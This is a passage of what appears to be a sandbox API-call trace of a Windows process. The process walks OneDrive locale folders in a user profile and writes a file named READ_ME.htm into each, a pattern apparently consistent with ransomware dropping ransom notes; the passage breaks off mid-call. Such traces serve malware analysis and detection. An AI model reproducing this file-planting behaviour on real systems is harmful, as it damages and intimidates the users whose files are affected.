lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca", lpFilePart=0x0) returned 0x4d [0145.575] SetErrorMode (uMode=0x1) returned 0x0 [0145.575] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\iu-latn-ca\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9b25ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea081050, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea081050, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.577] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.577] SetErrorMode (uMode=0x0) returned 0x1 [0145.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca", lpFilePart=0x0) returned 0x4d [0145.577] SetErrorMode (uMode=0x1) returned 0x0 [0145.577] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\iu-latn-ca\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9b25ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea081050, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea081050, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.578] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.578] SetErrorMode (uMode=0x0) returned 0x1 [0145.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca\\READ_ME.htm", lpFilePart=0x0) returned 0x59 [0145.578] SetErrorMode (uMode=0x1) returned 0x0 [0145.578] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\iu-latn-ca\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.579] SetErrorMode (uMode=0x0) returned 0x1 [0145.579] GetFileType (hFile=0x1d0) returned 0x1 [0145.579] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e7d00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28e7d00*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja", lpFilePart=0x0) returned 0x45 [0145.583] SetErrorMode (uMode=0x1) returned 0x0 [0145.583] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ja\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea081050, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea24a0d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea24a0d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.597] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.597] SetErrorMode (uMode=0x0) returned 0x1 [0145.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja", lpFilePart=0x0) returned 0x45 [0145.598] SetErrorMode (uMode=0x1) returned 0x0 [0145.598] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ja\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea081050, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea24a0d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea24a0d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.598] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.598] SetErrorMode (uMode=0x0) returned 0x1 [0145.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.598] SetErrorMode (uMode=0x1) returned 0x0 [0145.599] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ja\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ja\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.601] SetErrorMode (uMode=0x0) returned 0x1 [0145.601] GetFileType (hFile=0x1d0) returned 0x1 [0145.601] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ee2e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28ee2e8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.602] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka", lpFilePart=0x0) returned 0x45 [0145.602] SetErrorMode (uMode=0x1) returned 0x0 [0145.602] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ka\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea24a0d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea45f410, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea45f410, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.603] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.603] SetErrorMode (uMode=0x0) returned 0x1 [0145.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka", lpFilePart=0x0) returned 0x45 [0145.603] SetErrorMode (uMode=0x1) returned 0x0 [0145.603] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ka\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea24a0d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea45f410, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea45f410, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.604] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.604] SetErrorMode (uMode=0x0) returned 0x1 [0145.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.604] SetErrorMode (uMode=0x1) returned 0x0 [0145.604] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ka\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ka\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.605] SetErrorMode (uMode=0x0) returned 0x1 [0145.605] GetFileType (hFile=0x1d0) returned 0x1 [0145.605] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f48d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28f48d0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.606] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk", lpFilePart=0x0) returned 0x45 [0145.606] SetErrorMode (uMode=0x1) returned 0x0 [0145.606] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea45f410, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea6c0a10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea6c0a10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.607] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.608] SetErrorMode (uMode=0x0) returned 0x1 [0145.608] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk", lpFilePart=0x0) returned 0x45 [0145.608] SetErrorMode (uMode=0x1) returned 0x0 [0145.608] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea45f410, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea6c0a10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea6c0a10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.608] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.608] SetErrorMode (uMode=0x0) returned 0x1 [0145.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.609] SetErrorMode (uMode=0x1) returned 0x0 [0145.609] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kk\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.609] SetErrorMode (uMode=0x0) returned 0x1 [0145.609] GetFileType (hFile=0x1d0) returned 0x1 [0145.610] WriteFile (in: hFile=0x1d0, lpBuffer=0x28faeb8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28faeb8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.611] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh", lpFilePart=0x0) returned 0x48 [0145.611] SetErrorMode (uMode=0x1) returned 0x0 [0145.611] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\km-kh\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6c0a10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea8afbf0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea8afbf0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.612] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.612] SetErrorMode (uMode=0x0) returned 0x1 [0145.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh", lpFilePart=0x0) returned 0x48 [0145.612] SetErrorMode (uMode=0x1) returned 0x0 [0145.612] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\km-kh\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6c0a10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea8afbf0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea8afbf0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.612] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.613] SetErrorMode (uMode=0x0) returned 0x1 [0145.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.613] SetErrorMode (uMode=0x1) returned 0x0 [0145.613] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\km-kh\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\km-kh\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.613] SetErrorMode (uMode=0x0) returned 0x1 [0145.613] GetFileType (hFile=0x1d0) returned 0x1 [0145.614] WriteFile (in: hFile=0x1d0, lpBuffer=0x2901520*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2901520*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn", lpFilePart=0x0) returned 0x45 [0145.616] SetErrorMode (uMode=0x1) returned 0x0 [0145.616] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea8afbf0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaa9edd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaa9edd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.617] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.617] SetErrorMode (uMode=0x0) returned 0x1 [0145.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn", lpFilePart=0x0) returned 0x45 [0145.617] SetErrorMode (uMode=0x1) returned 0x0 [0145.618] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea8afbf0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaa9edd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaa9edd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.618] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.618] SetErrorMode (uMode=0x0) returned 0x1 [0145.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.618] SetErrorMode (uMode=0x1) returned 0x0 [0145.618] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kn\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kn\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.620] SetErrorMode (uMode=0x0) returned 0x1 [0145.620] GetFileType (hFile=0x1d0) returned 0x1 [0145.620] WriteFile (in: hFile=0x1d0, lpBuffer=0x2907b08*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2907b08*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko", lpFilePart=0x0) returned 0x45 [0145.622] SetErrorMode (uMode=0x1) returned 0x0 [0145.622] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ko\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab111f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeacda270, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeacda270, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.623] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.623] SetErrorMode (uMode=0x0) returned 0x1 [0145.623] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko", lpFilePart=0x0) returned 0x45 [0145.623] SetErrorMode (uMode=0x1) returned 0x0 [0145.623] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ko\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab111f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeacda270, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeacda270, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.623] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.624] SetErrorMode (uMode=0x0) returned 0x1 [0145.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.624] SetErrorMode (uMode=0x1) returned 0x0 [0145.624] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ko\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ko\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.624] SetErrorMode (uMode=0x0) returned 0x1 [0145.625] GetFileType (hFile=0x1d0) returned 0x1 [0145.625] WriteFile (in: hFile=0x1d0, lpBuffer=0x290e0f0*, 